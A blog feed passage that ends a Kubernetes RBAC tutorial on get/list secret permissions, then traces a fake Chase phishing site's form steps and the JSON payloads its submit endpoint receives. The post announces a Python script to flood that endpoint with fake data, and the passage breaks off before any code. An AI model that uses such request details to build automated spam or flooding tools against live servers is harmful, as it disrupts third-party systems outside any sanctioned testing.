<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Namespace</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Secret</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">credentials</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">type</span><span class="p">:</span><span class="w"> </span><span class="l">kubernetes.io/basic-auth</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">stringData</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">username</span><span class="p">:</span><span class="w"> </span><span class="l">admin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">password</span><span class="p">:</span><span class="w"> </span><span class="l">securepassword</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">rules</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">apiGroups</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">resources</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;secrets&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">verbs</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;get&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">rules</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">apiGroups</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">resources</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;secrets&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">verbs</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;list&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">RoleBinding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets-binding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">subjects</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">roleRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiGroup</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">RoleBinding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets-binding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">subjects</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">roleRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiGroup</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This manifest can be saved to a YAML file and applied like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl apply -f manifest.yaml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">namespace/example created
</span></span><span class="line"><span class="cl">secret/credentials created
</span></span><span class="line"><span class="cl">serviceaccount/service-account-1 created
</span></span><span class="line"><span class="cl">serviceaccount/service-account-2 created
</span></span><span class="line"><span class="cl">role.rbac.authorization.k8s.io/get-secrets created
</span></span><span class="line"><span class="cl">role.rbac.authorization.k8s.io/list-secrets created
</span></span><span class="line"><span class="cl">rolebinding.rbac.authorization.k8s.io/get-secrets-binding created
</span></span><span class="line"><span class="cl">rolebinding.rbac.authorization.k8s.io/list-secrets-binding created
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="testing-it-all-out">Testing It All Out</h2>
<p>Now we can test the <code>get</code> and <code>list</code> RBAC verbs with our service accounts.</p>
<p>To summarize:</p>
<ul>
<li>The service account <code>service-account-1</code> has <code>get</code> permissions for secrets in the <code>example</code> namespace. This service account should not be able to list secrets but should be able to get an individual secret in the <code>example</code> namespace.</li>
<li>The service account <code>service-account-2</code> has <code>list</code> permissions for secrets in the <code>example</code> namespace. This service account should not be able to get an individual secret but should be able to list all secrets in the <code>example</code> namespace.</li>
</ul>
<p>We can use the following command formula to test the permissions set to both service accounts:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">kubectl auth can-i &lt;verb&gt; &lt;resource&gt; --as<span class="o">=</span>system:serviceaccount:&lt;namespace&gt;:&lt;serviceaccountname&gt; -n &lt;namespace&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>First let&rsquo;s try getting a secret under both service accounts. We expect <code>service-account-1</code> to be able to <code>get</code> a secret, but not <code>service-account-2</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected!</p>
<p>Now let&rsquo;s try getting the <code>credentials</code> secret we created earlier just to double check. We should get the same results as above.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets/credentials --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets/credentials --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected.</p>
<p>Next let&rsquo;s try listing secrets under both service accounts. This time we expect <code>service-account-2</code> to be able to <code>list</code> secrets, but not <code>service-account-1</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i list secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i list secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected once again!</p>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li>

<a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/" target="_blank" rel="noopener">https://kubernetes.io/docs/reference/access-authn-authz/rbac/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Making Life More Difficult for Bank Scammers</title>
      <link>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</link>
      <pubDate>Thu, 22 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</guid>
      <description>Using Python to flood scammers with fake information.</description><content:encoded><![CDATA[<p>If you&rsquo;ve been around you know I enjoy spamming phishing/scamming sites. I recently received this fake Chase email and decided to go down another phishing/scamming attempt.</p>
<img src="/chase-scam/email.webp" alt="Phishing Email" width="720" height="357" style="max-width: 100%; height: auto; aspect-ratio: 1500 / 744;" loading="lazy" decoding="async">
<p>The email linked to a Google Drive link of a PDF.</p>
<img src="/chase-scam/pdf.webp" alt="Google Drive PDF" width="720" height="276" style="max-width: 100%; height: auto; aspect-ratio: 2796 / 1072;" loading="lazy" decoding="async">
<p>The PDF itself links to somewhere else. I clicked on the PDF and after some redirects I ultimately landed on a fake Chase login site. Look at the URL lol.</p>
<img src="/chase-scam/login.webp" alt="Fake Chase login form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Next, I opened my browser dev tools, I filled in the form and pressed &ldquo;Sign In&rdquo;.</p>
<p>A <code>POST</code> request goes out to <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;ip&#34;</span><span class="p">:</span><span class="s2">&#34;138.199.35.102&#34;</span><span class="p">,</span><span class="nt">&#34;uagent&#34;</span><span class="p">:</span><span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;0&#34;</span><span class="p">,</span><span class="nt">&#34;j_username&#34;</span><span class="p">:</span><span class="s2">&#34;anon&#34;</span><span class="p">,</span><span class="nt">&#34;j_password&#34;</span><span class="p">:</span><span class="s2">&#34;password&#34;</span><span class="p">,</span><span class="nt">&#34;securityToken&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was shown this page:</p>
<img src="/chase-scam/wrong-credentials.webp" alt="Error message" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>And of course on the frontend there&rsquo;s a message about incorrect credentials. It&rsquo;s one of the most common tricks these people use.</p>
<p>Attempting to submit new credentials does nothing. I noticed that the &ldquo;reset your password&rdquo; link is the only way forward so I clicked that and it took me to this page:</p>
<img src="/chase-scam/otp.webp" alt="One-time code form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>It&rsquo;s asking for a one-time code. I&rsquo;m not really sure how they expect people to enter a code that they normally receive after submitting <em>correct</em> credentials. Not only that but they don&rsquo;t even know the phone number of the user. Either way, I filled in <code>000000</code> and hit &ldquo;Next&rdquo;.</p>
<p>Another <code>POST</code> request goes out to the same URL as before: <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this JSON:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;1&#34;</span><span class="p">,</span><span class="nt">&#34;otp&#34;</span><span class="p">:</span><span class="s2">&#34;000000&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(I think it&rsquo;s obvious now that the <code>stp</code> parameter that keeps showing up represents the step of the fake password recovery process. And based on the value of step, the logic of <code>submit.php</code> parses the JSON accordingly.)</p>
<p>Then I landed on this page that asks me for my card information:</p>
<img src="/chase-scam/credit-card.webp" alt="credit card form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I once again filled the form with fake information and hit &ldquo;Next&rdquo;. Another <code>POST</code> request went out to the same URL as before. The main thing that changes here are the headers and the JSON payload.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;2&#34;</span><span class="p">,</span><span class="nt">&#34;cnum&#34;</span><span class="p">:</span><span class="s2">&#34;6504 8764 7593 8248&#34;</span><span class="p">,</span><span class="nt">&#34;expd&#34;</span><span class="p">:</span><span class="s2">&#34;03/24&#34;</span><span class="p">,</span><span class="nt">&#34;cvv&#34;</span><span class="p">:</span><span class="s2">&#34;333&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(Also, I haven&rsquo;t been showing the headers because they&rsquo;re not that interesting, but I am keeping track of them for scripting purposes later.)</p>
<p>Next, I was shown this form. Notice how the first field says &ldquo;Full Number&rdquo;. I&rsquo;m pretty sure they meant &ldquo;Full Name&rdquo; lol.</p>
<img src="/chase-scam/personal-details.webp" alt="personal details form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Once again, I filled out and submitted the form.</p>
<p>Once again, a <code>POST</code> request goes out to the same URL. This time the JSON payload looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;3&#34;</span><span class="p">,</span><span class="nt">&#34;fullname&#34;</span><span class="p">:</span><span class="s2">&#34;Fuck You&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;01/01/1900&#34;</span><span class="p">,</span><span class="nt">&#34;ssn&#34;</span><span class="p">:</span><span class="s2">&#34;123-74-6772&#34;</span><span class="p">,</span><span class="nt">&#34;phone&#34;</span><span class="p">:</span><span class="s2">&#34;(827) 373-8139&#34;</span><span class="p">,</span><span class="nt">&#34;address&#34;</span><span class="p">:</span><span class="s2">&#34;some st&#34;</span><span class="p">,</span><span class="nt">&#34;city&#34;</span><span class="p">:</span><span class="s2">&#34;some city&#34;</span><span class="p">,</span><span class="nt">&#34;state&#34;</span><span class="p">:</span><span class="s2">&#34;FU&#34;</span><span class="p">,</span><span class="nt">&#34;zip&#34;</span><span class="p">:</span><span class="s2">&#34;82920&#34;</span><span class="p">,</span><span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>fullname</code> key in the JSON payload confirms that they meant to write &ldquo;Full Name&rdquo; in the field as opposed to &ldquo;Full Number&rdquo; lol.</p>
<p>After submitting the previous form I was shown yet another one, this time asking for email address and email password. They are really thorough. They also asked for my email in the previous step so that was a bit redundant.</p>
<img src="/chase-scam/email-form.webp" alt="email form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I typed in some fake credentials and submitted the form. A <code>POST</code> request goes out to the same URL as before with the following JSON payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;4&#34;</span><span class="p">,</span><span class="nt">&#34;cemail&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;ajlksdasdjl&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was redirected to the official Chase site:</p>
<img src="/chase-scam/chase-site.webp" alt="official chase site" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<h2 id="spamming-fake-information-with-python">Spamming Fake Information with Python</h2>
<p>If you&rsquo;ve read my previous articles about scams and phishing, you know what&rsquo;s next. It&rsquo;s time to write up a Python script to spam these people with fake information and hopefully make their lives harder.</p>
<p>These guys were thorough so I&rsquo;ll need to dynamically create 5 different payloads and send them to the url. Thankfully it&rsquo;s the same endpoint for all of these payloads.</p>
<p>I want to dynamically generate headers and payloads that seem as realistic as possible. These scammers were thorough so I want to be thorough in making their lives more difficult (also I&rsquo;m unemployed right now so I have a lot of free time. Someone please hire me 🥺)</p>
<p>This is the Python script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
